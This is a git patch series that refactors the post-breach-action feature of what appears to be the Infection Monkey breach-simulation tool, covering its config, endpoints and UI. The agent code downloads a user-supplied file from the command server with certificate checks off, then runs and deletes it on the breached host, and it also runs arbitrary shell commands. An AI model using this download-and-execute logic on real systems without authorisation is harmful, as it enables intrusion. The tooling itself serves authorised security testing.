+ ); } } From 92615b848d47967ed747ab93dedb1afe761cb3ea Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 13 Mar 2019 20:48:25 +0200 Subject: [PATCH 15/19] PBA config depth reduced to 3, unused methods removed, pba file size property removed, small refactors and comments. --- monkey/infection_monkey/config.py | 10 +- .../post_breach/file_execution.py | 64 ++++------- monkey/infection_monkey/post_breach/pba.py | 55 +++++---- .../post_breach/post_breach_handler.py | 51 +++++---- monkey/monkey_island/cc/resources/monkey.py | 3 - .../cc/resources/pba_file_download.py | 12 +- .../cc/resources/pba_file_upload.py | 64 ++++++----- monkey/monkey_island/cc/services/config.py | 90 ++++----------- .../cc/services/config_schema.py | 102 +++++++---------- monkey/monkey_island/cc/services/report.py | 2 +- .../ui/src/components/pages/ConfigurePage.js | 105 +++++++++--------- 11 files changed, 249 insertions(+), 309 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index a08e17fe5..40a715e62 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -271,12 +271,10 @@ class Configuration(object): extract_azure_creds = True post_breach_actions = [] - custom_post_breach = {"linux": "", - "windows": "", - "linux_file": None, - "windows_file": None, - "linux_file_info": None, - "windows_file_info": None} + custom_pba_linux_cmd = "" + custom_pba_windows_cmd = "" + custom_pba_linux_file_info = None + custom_pba_windows_file_info = None WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py index 4e0822339..f76748141 100644 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -1,6 +1,5 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient -import infection_monkey.monkeyfs as monkeyfs from infection_monkey.config import WormConfiguration import requests import shutil @@ -11,84 +10,65 @@ LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -DOWNLOAD_CHUNK = 1024 +# Default commands for executing PBA file and then removing it DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" class FileExecution(PBA): + """ + Defines user's file execution post breach action. + """ def __init__(self, linux_command="", windows_command=""): - self.linux_file_info = WormConfiguration.custom_post_breach['linux_file_info'] - self.windows_file_info = WormConfiguration.custom_post_breach['windows_file_info'] + self.linux_filename = WormConfiguration.PBA_linux_filename + self.windows_filename = WormConfiguration.PBA_windows_filename super(FileExecution, self).__init__("File execution", linux_command, windows_command) def execute_linux(self): FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), - self.linux_file_info['name'], - self.linux_file_info['size']) + self.linux_filename) return super(FileExecution, self).execute_linux() def execute_win(self): FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), - self.windows_file_info['name'], - self.windows_file_info['size']) + self.windows_filename) return super(FileExecution, self).execute_win() def add_default_command(self, is_linux): + """ + Replaces current (likely empty) command with default file execution command. + :param is_linux: Boolean that indicates for which OS the command is being set. + """ if is_linux: file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=True), - self.linux_file_info["name"]) + self.linux_filename) self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) else: file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=False), - self.windows_file_info["name"]) + self.windows_filename) self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) @staticmethod - def download_PBA_file(dst_dir, filename, size): + def download_PBA_file(dst_dir, filename): """ Handles post breach action file download :param dst_dir: Destination directory :param filename: Filename - :param size: File size in bytes :return: True if successful, false otherwise """ - PBA_file_v_path = FileExecution.download_PBA_file_to_vfs(filename, size) + + PBA_file_contents = requests.get("https://%s/api/pba/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) try: - with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file: - with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: - shutil.copyfileobj(downloaded_PBA_file, written_PBA_file) + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + shutil.copyfileobj(PBA_file_contents, written_PBA_file) return True except IOError as e: LOG.error("Can not download post breach file to target machine, because %s" % e) return False - @staticmethod - def download_PBA_file_to_vfs(filename, size): - if not WormConfiguration.current_server: - return None - try: - dest_file = monkeyfs.virtual_path(filename) - if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): - return dest_file - else: - download = requests.get("https://%s/api/pba/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - - with monkeyfs.open(dest_file, 'wb') as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file - - except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) - @staticmethod def get_dest_dir(config, is_linux): """ diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 32284acb4..3482c96e8 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -5,21 +5,34 @@ import socket LOG = logging.getLogger(__name__) +__author__ = 'VakarisZ' + -# Post Breach Action container class PBA(object): + """ + Post breach action object. Can be extended to support more than command execution on target machine. + """ def __init__(self, name="unknown", linux_command="", windows_command=""): + """ + :param name: Name of post breach action. + :param linux_command: Command that will be executed on linux machine + :param windows_command: Command that will be executed on windows machine + """ self.linux_command = linux_command self.windows_command = windows_command self.name = name def run(self, is_linux): + """ + Runs post breach action command + :param is_linux: boolean that indicates on which os monkey is running + """ if is_linux: command = self.linux_command - exec_funct = self.execute_linux + exec_funct = self._execute_linux else: command = self.windows_command - exec_funct = self.execute_win + exec_funct = self._execute_win if command: hostname = socket.gethostname() ControlClient.send_telemetry('post_breach', {'command': command, @@ -27,22 +40,24 @@ class PBA(object): 'name': self.name, 'hostname': hostname, 'ip': socket.gethostbyname(hostname) - }) + }) - def execute_linux(self): - # Default linux PBA execution function. Override if additional functionality is needed - if self.linux_command: - try: - return subprocess.check_output(self.linux_command, stderr=subprocess.STDOUT, shell=True) - except subprocess.CalledProcessError as e: - # Return error output of the command - return e.output + def _execute_linux(self): + """ + Default linux PBA execution function. Override it if additional functionality is needed + """ + self._execute_default(self.linux_command) - def execute_win(self): - # Default windows PBA execution function. Override if additional functionality is needed - if self.windows_command: - try: - return subprocess.check_output(self.windows_command, stderr=subprocess.STDOUT, shell=True) - except subprocess.CalledProcessError as e: - # Return error output of the command - return e.output + def _execute_win(self): + """ + Default linux PBA execution function. Override it if additional functionality is needed + """ + self._execute_default(self.windows_command) + + @staticmethod + def _execute_default(command): + try: + return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + # Return error output of the command + return e.output diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index c94ed1bc5..e0f7135b1 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -3,19 +3,25 @@ import infection_monkey.config import platform from file_execution import FileExecution from pba import PBA +from infection_monkey.utils import is_windows_os LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -# Class that handles post breach action execution class PostBreach(object): + """ + This class handles post breach actions execution + """ def __init__(self): - self.os_is_linux = False if platform.system() == 'Windows' else True + self.os_is_linux = not is_windows_os() self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) def execute(self): + """ + Executes all post breach actions. + """ for pba in self.pba_list: pba.run(self.os_is_linux) LOG.info("Post breach actions executed") @@ -24,40 +30,45 @@ class PostBreach(object): def config_to_pba_list(config): """ Returns a list of PBA objects generated from config. + :param config: Monkey configuration + :return: A list of PBA objects. + TODO: Parse PBA's from PBA array (like 'add_user'). Also merge the whole outdated PBA structure into this one. """ pba_list = [] - pba_list.extend(PostBreach.get_custom(config)) + pba_list.extend(PostBreach.get_custom_PBA(config)) return pba_list @staticmethod - def get_custom(config): + def get_custom_PBA(config): + """ + Creates post breach actions depending on users input into 'custom post breach' config section + :param config: monkey's configuration + :return: List of PBA objects ([user's file execution PBA, user's command execution PBA]) + """ custom_list = [] file_pba = FileExecution() command_pba = PBA(name="Custom") - post_breach = config.custom_post_breach - linux_command = post_breach['linux'] - windows_command = post_breach['windows'] - # Add commands to linux pba - if post_breach['linux_file_info']['name']: - if linux_command: - file_pba.linux_command=linux_command + # Add linux commands to PBA's + if config['PBA_linux_filename']: + if config['custom_PBA_linux_cmd']: + file_pba.linux_command = config['custom_PBA_linux_cmd'] else: file_pba.add_default_command(is_linux=True) - elif linux_command: - command_pba.linux_command = linux_command + elif config['custom_PBA_linux_cmd']: + command_pba.linux_command = config['custom_PBA_linux_cmd'] - # Add commands to windows pba - if post_breach['windows_file_info']['name']: - if windows_command: - file_pba.windows_command=windows_command + # Add windows commands to PBA's + if config['PBA_windows_filename']: + if config['custom_PBA_windows_cmd']: + file_pba.windows_command = config['custom_PBA_windows_cmd'] else: file_pba.add_default_command(is_linux=False) - elif windows_command: - command_pba.windows_command = windows_command + elif config['custom_PBA_windows_cmd']: + command_pba.windows_command = config['custom_PBA_windows_cmd'] - # Add pba's to list + # Add PBA's to list if file_pba.linux_command or file_pba.windows_command: custom_list.append(file_pba) if command_pba.windows_command or command_pba.linux_command: diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 171456d42..80dd14604 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -25,9 +25,6 @@ class Monkey(flask_restful.Resource): if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config']) - # Don't send file contents to the monkey - monkey_json['config']['custom_post_breach']['linux_file'] = '' - monkey_json['config']['custom_post_breach']['windows_file'] = '' return monkey_json return {} diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index 9c39d8f79..a991859c2 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -1,14 +1,14 @@ -import json -import logging -import os - import flask_restful -from flask import request, send_from_directory +from flask import send_from_directory +from cc.services.config import UPLOADS_DIR -UPLOADS_DIR = "./userUploads" +__author__ = 'VakarisZ' class PBAFileDownload(flask_restful.Resource): + """ + File download endpoint used by monkey to download user's PBA file + """ # Used by monkey. can't secure. def get(self, path): return send_from_directory(UPLOADS_DIR, path) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 29f5271f2..3b0a85b52 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -1,30 +1,46 @@ import flask_restful from flask import request, send_from_directory, Response -from cc.services.config import ConfigService, WINDOWS_PBA_INFO, LINUX_PBA_INFO +from cc.services.config import ConfigService, PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR +from cc.auth import jwt_required import os from werkzeug.utils import secure_filename import logging import copy +__author__ = 'VakarisZ' + LOG = logging.getLogger(__name__) -UPLOADS_DIR = "./monkey_island/cc/userUploads" GET_FILE_DIR = "./userUploads" -# What endpoints front end uses to identify which files to work with +# Front end uses these strings to identify which files to work with (linux of windows) LINUX_PBA_TYPE = 'PBAlinux' WINDOWS_PBA_TYPE = 'PBAwindows' class FileUpload(flask_restful.Resource): - + """ + File upload endpoint used to exchange files with filepond component on the front-end + """ + @jwt_required() def get(self, file_type): + """ + Sends file to filepond + :param file_type: Type indicates which file to send, linux or windows + :return: Returns file contents + """ # Verify that file_name is indeed a file from config if file_type == LINUX_PBA_TYPE: - filename = ConfigService.get_config_value(copy.deepcopy(LINUX_PBA_INFO))['name'] + filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH)) else: - filename = ConfigService.get_config_value(copy.deepcopy(WINDOWS_PBA_INFO))['name'] + filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH)) return send_from_directory(GET_FILE_DIR, filename) + @jwt_required() def post(self, file_type): + """ + Receives user's uploaded file from filepond + :param file_type: Type indicates which file was received, linux or windows + :return: Returns flask response object with uploaded file's filename + """ filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE)) response = Response( @@ -32,9 +48,15 @@ class FileUpload(flask_restful.Resource): status=200, mimetype='text/plain') return response + @jwt_required() def delete(self, file_type): - file_conf_path = LINUX_PBA_INFO if file_type == 'PBAlinux' else WINDOWS_PBA_INFO - filename = ConfigService.get_config_value(file_conf_path)['name'] + """ + Deletes file that has been deleted on the front end + :param file_type: Type indicates which file was deleted, linux of windows + :return: Empty response + """ + file_conf_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH + filename = ConfigService.get_config_value(file_conf_path) file_path = os.path.join(UPLOADS_DIR, filename) try: if os.path.exists(file_path): @@ -47,26 +69,14 @@ class FileUpload(flask_restful.Resource): @staticmethod def upload_pba_file(request_, is_linux=True): + """ + Uploads PBA file to island's file system + :param request_: Request object containing PBA file + :param is_linux: Boolean indicating if this file is for windows or for linux + :return: filename string + """ filename = secure_filename(request_.files['filepond'].filename) file_path = os.path.join(UPLOADS_DIR, filename) request_.files['filepond'].save(file_path) - file_size = os.path.getsize(file_path) - ConfigService.set_config_value((LINUX_PBA_INFO if is_linux else WINDOWS_PBA_INFO), - {'size': file_size, 'name': filename}) + ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename) return filename - - @staticmethod - def get_file_info_db_paths(is_linux=True): - """ - Gets PBA file size and name parameter config paths for linux and windows - :param is_linux: determines whether to get windows or linux file params - :return: returns tuple of filename and file size paths in config - """ - if is_linux: - file_info = 'linux_file_info' - else: - file_info = 'windows_file_info' - config_path = 'monkey.behaviour.custom_post_breach.' + file_info + '.' - size_path = config_path + 'size' - name_path = config_path + 'name' - return name_path, size_path diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index fbcf4d7a0..17bed6782 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -36,14 +36,11 @@ ENCRYPTED_CONFIG_STRINGS = \ ['cnc', 'aws_config', 'aws_secret_access_key'] ] -UPLOADS_DIR = './monkey_island/cc/userUploads' +UPLOADS_DIR = '/cc/userUploads' -# Where to find file info in config -PBA_CONF_PATH = ['monkey', 'behaviour', 'custom_post_breach'] -WINDOWS_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) -WINDOWS_PBA_INFO.append('windows_file_info') -LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) -LINUX_PBA_INFO.append('linux_file_info') +# Where to find file names in config +PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename'] +PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename'] class ConfigService: @@ -78,13 +75,11 @@ class ConfigService: :param is_initial_config: If True, returns the value of the initial config instead of the current config. :param should_decrypt: If True, the value of the config key will be decrypted (if it's in the list of encrypted config values). - :return: The value of the requested config key or False, if such key doesn't exist. + :return: The value of the requested config key. """ config_key = functools.reduce(lambda x, y: x + '.' + y, config_key_as_arr) config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1}) for config_key_part in config_key_as_arr: - if config_key_part not in config: - return False config = config[config_key_part] if should_decrypt: if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS: @@ -158,7 +153,7 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): - # Island file upload happens on pba_file_upload endpoint and config is set there + # PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there ConfigService.keep_PBA_files(config_json) if should_encrypt: try: @@ -173,14 +168,14 @@ class ConfigService: @staticmethod def keep_PBA_files(config_json): """ - file_upload endpoint handles file upload and sets config asynchronously. - This saves file info from being overridden. + Sets PBA file info in config_json to current config's PBA file info values. + :param config_json: config_json that will be modified """ if ConfigService.get_config(): - linux_info = ConfigService.get_config_value(LINUX_PBA_INFO) - windows_info = ConfigService.get_config_value(WINDOWS_PBA_INFO) - config_json['monkey']['behaviour']['custom_post_breach']['linux_file_info'] = linux_info - config_json['monkey']['behaviour']['custom_post_breach']['windows_file_info'] = windows_info + linux_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + windows_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename + config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename @staticmethod def init_default_config(): @@ -239,7 +234,13 @@ class ConfigService: if instance != {}: return for property, subschema in properties.iteritems(): - main_dict = ConfigService.r_get_properties(subschema) + main_dict = {} + for property2, subschema2 in subschema["properties"].iteritems(): + sub_dict = {} + for property3, subschema3 in subschema2["properties"].iteritems(): + if "default" in subschema3: + sub_dict[property3] = subschema3["default"] + main_dict[property2] = sub_dict instance.setdefault(property, main_dict) for error in validate_properties(validator, properties, instance, schema): @@ -249,17 +250,6 @@ class ConfigService: validator_class, {"properties": set_defaults}, ) - @staticmethod - def r_get_properties(schema): - """ Recursively gets all nested properties in schema""" - if "default" in schema: - return schema["default"] - if "properties" in schema: - dict_ = {} - for property, subschema in schema["properties"].iteritems(): - dict_[property] = ConfigService.r_get_properties(subschema) - return dict_ - @staticmethod def decrypt_config(config): ConfigService._encrypt_or_decrypt_config(config, True) @@ -322,27 +312,6 @@ class ConfigService: pair['private_key'] = encryptor.dec(pair['private_key']) return pair - @staticmethod - def add_PBA_files(post_breach_files): - """ - Interceptor of config saving process that uploads PBA files to server - and saves filenames and sizes in config instead of full file. - :param post_breach_files: Data URL encoded files - """ - # If any file is uploaded - if any(file_name in post_breach_files for file_name in ['linux_file', 'windows_file']): - # Create directory for file uploads if not present - if not os.path.exists(UPLOADS_DIR): - os.makedirs(UPLOADS_DIR) - if 'linux_file' in post_breach_files: - linux_name, linux_size = ConfigService.upload_file(post_breach_files['linux_file'], UPLOADS_DIR) - post_breach_files['linux_file_info']['name'] = linux_name - post_breach_files['linux_file_info']['size'] = linux_size - if 'windows_file' in post_breach_files: - windows_name, windows_size = ConfigService.upload_file(post_breach_files['windows_file'], UPLOADS_DIR) - post_breach_files['windows_file_info']['name'] = windows_name - post_breach_files['windows_file_info']['size'] = windows_size - @staticmethod def remove_PBA_files(): if ConfigService.get_config(): @@ -363,24 +332,3 @@ class ConfigService: os.remove(file_path) except OSError as e: logger.error("Can't remove previously uploaded post breach files: %s" % e) - - - @staticmethod - def upload_file(file_data, directory): - """ - We parse data URL format of the file and save it - :param file_data: file encoded in data URL format - :param directory: where to save the file - :return: filename of saved file - """ - file_parts = file_data.split(';') - if len(file_parts) != 3 and not file_parts[2].startswith('base64,'): - logger.error("Invalid file format was submitted to the server") - return False - # Strip 'name=' from this field and secure the filename - filename = secure_filename(file_parts[1][5:]) - file_path = os.path.join(directory, filename) - with open(file_path, 'wb') as file_: - file_.write(base64.decodestring(file_parts[2][7:])) - file_size = os.path.getsize(file_path) - return [filename, file_size] diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 5d3aec681..d800afe9c 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -304,7 +304,6 @@ SCHEMA = { "$ref": "#/definitions/post_breach_acts" }, "default": [ - "BackdoorUser", ], "description": "List of actions the Monkey will run post breach" }, @@ -314,68 +313,45 @@ SCHEMA = { "title": "Behaviour", "type": "object", "properties": { - "custom_post_breach": { - "title": "Custom post breach actions", - "type": "object", - "properties": { - "linux": { - "title": "Linux command", - "type": "string", - "default": "", - "description": "Linux command to execute after breaching." - }, - "linux_file": { - "title": "Linux file", - "type": "string", - "format": "data-url", - "description": "File to be executed after breaching. " - "If you want custom execution behavior, " - "specify it in 'Linux command' field. " - }, - "windows": { - "title": "Windows command", - "type": "string", - "default": "", - "description": "Windows command to execute after breaching" - }, - "windows_file": { - "title": "Windows file", - "type": "string", - "format": "data-url", - "description": "File to be executed after breaching. " - "If you want custom execution behavior, " - "specify it in 'Windows command' field. " - }, - "windows_file_info": { - "title": "Windows PBA file info", - "type": "object", - "properties": { - "name": { - "type": "string", - "default": "" - }, - "size": { - "type": "string", - "default": "0" - }, - } - }, - "linux_file_info": { - "title": "Linux PBA file info", - "type": "object", - "properties": { - "name": { - "type": "string", - "default": "" - }, - "size": { - "type": "string", - "default": "0" - }, - } - } - }, - "description": "List of actions the Monkey will run post breach" + "custom_PBA_linux_cmd": { + "title": "Linux post breach command", + "type": "string", + "default": "", + "description": "Linux command to be executed after breaching." + }, + "PBA_linux_file": { + "title": "Linux post breach file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Linux post breach command' field. " + "Reference your file by filename." + }, + "custom_PBA_windows_cmd": { + "title": "Windows command", + "type": "string", + "default": "", + "description": "Windows command to be executed after breaching." + }, + "PBA_windows_file": { + "title": "Windows file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Windows post breach command' field. " + "Reference your file by filename." + }, + "PBA_windows_filename": { + "title": "Windows PBA filename", + "type": "string", + "default": "" + }, + "PBA_linux_filename": { + "title": "Linux PBA filename", + "type": "string", + "default": "" }, "self_delete_in_cleanup": { "title": "Self delete on cleanup", diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index ed00b2fa0..595d566f8 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -156,7 +156,7 @@ class ReportService: 'domain_name': monkey['domain_name'], 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if - exploit['result']])), + exploit['result']])) } for monkey in exploited] diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index bc1c6739e..d6b1a2156 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -9,11 +9,37 @@ import 'filepond/dist/filepond.min.css'; class ConfigurePageComponent extends AuthComponent { constructor(props) { super(props); - + this.PBAwindowsPond = null; + this.PBAlinuxPond = null; this.currentSection = 'basic'; this.currentFormData = {}; this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; - + this.uiSchema = { + behaviour: { + custom_PBA_linux_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_linux_file: { + "ui:widget": this.PBAlinux + }, + custom_PBA_windows_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_windows_file: { + "ui:widget": this.PBAwindows + }, + PBA_linux_filename: { + classNames: "linux-pba-file-info", + "ui:emptyValue": "" + }, + PBA_windows_filename: { + classNames: "windows-pba-file-info", + "ui:emptyValue": "" + } + } + }; // set schema from server this.state = { schema: {}, @@ -117,16 +143,17 @@ class ConfigurePageComponent extends AuthComponent { removePBAfiles(){ // We need to clean files from widget, local state and configuration (to sync with bac end) - if (this.hasOwnProperty('PBAlinuxPond') && this.PBAwindowsPond !== null){ - this.PBAlinuxPond.removeFile(); + if (this.PBAwindowsPond !== null){ this.PBAwindowsPond.removeFile(); } + if (this.PBAlinuxPond !== null){ + this.PBAlinuxPond.removeFile(); + } let request_options = {method: 'DELETE', headers: {'Content-Type': 'text/plain'}}; this.authFetch('/api/fileUpload/PBAlinux', request_options); this.authFetch('/api/fileUpload/PBAwindows', request_options); - this.setState({PBAlinuxFile: []}); - this.setState({PBAwinFile: []}); + this.setState({PBAlinuxFile: [], PBAwinFile: []}); } onReadFile = (event) => { @@ -197,65 +224,43 @@ class ConfigurePageComponent extends AuthComponent { getWinPBAfile(){ if (this.state.PBAwinFile.length !== 0){ - return ConfigurePageComponent.getPBAfile(this.state.PBAwinFile[0], true) - } else if (this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info.name){ - return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info) + return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0]) + } else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){ + return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename) } } getLinuxPBAfile(){ if (this.state.PBAlinuxFile.length !== 0){ - return ConfigurePageComponent.getPBAfile(this.state.PBAlinuxFile[0], true) - } else if (this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info.name) { - return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info) + return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0]) + } else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) { + return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename) } } - static getPBAfile(fileSrc, isMock=false){ - let PBAfile = [{ - source: fileSrc.name, + static getFullPBAfile(filename){ + let pbaFile = [{ + source: filename, options: { type: 'limbo' } }]; - if (isMock){ - PBAfile[0].options.file = fileSrc - } - return PBAfile + return pbaFile + } + + static getMockPBAfile(mockFile){ + let pbaFile = [{ + source: mockFile.name, + options: { + type: 'limbo' + } + }]; + pbaFile[0].options.file = mockFile; + return pbaFile } render() { let displayedSchema = {}; - const uiSchema = { - behaviour: { - custom_post_breach: { - linux: { - "ui:widget": "textarea", - "ui:emptyValue": "" - }, - linux_file: { - "ui:widget": this.PBAlinux - }, - windows: { - "ui:widget": "textarea", - "ui:emptyValue": "" - }, - windows_file: { - "ui:widget": this.PBAwindows - }, - linux_file_info: { - classNames: "linux-pba-file-info", - name:{ "ui:emptyValue": ""}, - size:{ "ui:emptyValue": "0"} - }, - windows_file_info: { - classNames: "windows-pba-file-info", - name:{ "ui:emptyValue": ""}, - size:{ "ui:emptyValue": "0"} - } - } - } - }; if (this.state.schema.hasOwnProperty('properties')) { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; @@ -281,7 +286,7 @@ class ConfigurePageComponent extends AuthComponent { } { this.state.selectedSection ? Date: Thu, 14 Mar 2019 17:53:05 +0200 Subject: [PATCH 16/19] Added jwt requirements to PBA endpoints, fixed bugs, added different display if PBA succeeded than if failed. --- monkey/infection_monkey/config.py | 8 ++++---- monkey/infection_monkey/example.conf | 9 +-------- .../post_breach/file_execution.py | 8 ++++---- monkey/infection_monkey/post_breach/pba.py | 15 +++++++++----- .../post_breach/post_breach_handler.py | 20 +++++++++---------- .../cc/resources/pba_file_upload.py | 6 +++--- monkey/monkey_island/cc/services/config.py | 18 +++++++---------- .../cc/services/config_schema.py | 4 ++-- .../cc/ui/src/components/AuthComponent.js | 1 + .../ui/src/components/pages/ConfigurePage.js | 16 +++++++++++++-- .../report-components/PostBreach.js | 12 ++++++++++- monkey/monkey_island/cc/ui/src/index.js | 2 -- .../cc/ui/src/services/AuthService.js | 6 ++++++ monkey/monkey_island/cc/ui/src/styles/App.css | 8 ++++++++ 14 files changed, 81 insertions(+), 52 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 40a715e62..0d44cb973 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -271,10 +271,10 @@ class Configuration(object): extract_azure_creds = True post_breach_actions = [] - custom_pba_linux_cmd = "" - custom_pba_windows_cmd = "" - custom_pba_linux_file_info = None - custom_pba_windows_file_info = None + custom_PBA_linux_cmd = "" + custom_PBA_windows_cmd = "" + PBA_linux_filename = None + PBA_windows_filename = None WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 760ed1139..ca8041382 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -97,12 +97,5 @@ "use_file_logging": true, "victims_max_exploit": 7, "victims_max_find": 30, - "post_breach_actions" : [], - "custom_post_breach" : { "linux": "", - "windows": "", - "linux_file": None, - "windows_file": None, - "windows_file_info": None, - "linux_file_info": None - } + "post_breach_actions" : [] } diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py index f76748141..025e1252a 100644 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -24,15 +24,15 @@ class FileExecution(PBA): self.windows_filename = WormConfiguration.PBA_windows_filename super(FileExecution, self).__init__("File execution", linux_command, windows_command) - def execute_linux(self): + def _execute_linux(self): FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), self.linux_filename) - return super(FileExecution, self).execute_linux() + return super(FileExecution, self)._execute_linux() - def execute_win(self): + def _execute_win(self): FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), self.windows_filename) - return super(FileExecution, self).execute_win() + return super(FileExecution, self)._execute_win() def add_default_command(self, is_linux): """ diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 3482c96e8..09fe613b3 100644 